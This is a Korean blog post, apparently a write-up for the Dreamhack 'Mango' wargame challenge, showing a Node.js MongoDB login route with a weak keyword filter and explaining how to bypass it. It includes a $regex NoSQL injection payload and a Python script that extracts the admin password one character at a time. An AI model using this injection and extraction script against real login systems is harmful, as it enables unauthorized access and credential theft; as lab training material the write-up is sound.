dreamhack

[Dreamhack] Mango

부산영롱 2024. 1. 10. 15:38

mangoDB에 있는 admin 계정의 비밀번호를 알아내는 문제이다.

app.get('/login', function(req, res) {
    if(filter(req.query)){ // filter 함수 실행
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query; 
    db.collection('user').findOne({ // db에서 uid, upw로 검색
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){ 
            res.send('err');
        }else if(result){ 
            res.send(result['uid']); 
        }else{
            res.send('undefined'); 
        }
    })
});
const BAN = ['admin', 'dh', 'admi'];
filter = function(data){
    const dump = JSON.stringify(data).toLowerCase();
    var flag = false;
    BAN.forEach(function(word){
        if(dump.indexOf(word)!=-1) flag = true;
    });
    return flag;
}

/login 엔드포인트는 filter 변수를 사용해서 문자열을 필터링하고 있다.

하지만 'admin', 'dh', 'admi' 3개의 키워드만 필터링 하기 때문에 정규표현식으로 간단히 우회하여 로그인 할 수 있다.

'admin' 대신 'a.', 'ad.', 'adm.' 같이 쓰면 되고 DH 대신 'D.', '.H' 같이 쓰면 된다.

간단하게 그냥 '.' 만 써도 되긴 한다.

 

비밀번호를 하나씩 타이핑하여 입력하기에는 너무 시간이 오래걸려서 파이썬 코드를 사용하면 간단하게 해결할 수 있다.

import requests, string

HOST = 'http://localhost'
ALPHANUMERIC = string.digits + string.ascii_letters
SUCCESS = 'admin'

flag = ''

for i in range(32):
    for ch in ALPHANUMERIC:
        response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
        if response.text == SUCCESS:
            flag += ch
            break
    
    print(f'FLAG: DH{{{flag}}}')

위 코드에서 HOST 변수에 문제를 위해 생성된 url을 넣고 실행하면 flag를 얻을 수 있다.

코드 중에 중괄호가 3개씩 들어간 이유는 flag 양쪽에 하나의 중괄호를 출력하기 위해 양쪽에 두개씩 중괄호를 썼고, 계산된 flag 값을 불러오기 위해 flag 양쪽에 중괄호를 사용하여 양쪽에 3개의 중괄호를 사용하게 됐다.

'dreamhack' 카테고리의 다른 글

[Dreamhack] image-storage  (0) 2024.01.11
[Dreamhack] command-injection-1  (0) 2024.01.10
[Dreamhack] simple_sqli  (1) 2024.01.09
[Dreamhack] CSRF-1 / 2  (0) 2024.01.01
[Dreamhack] xss-2  (0) 2023.12.31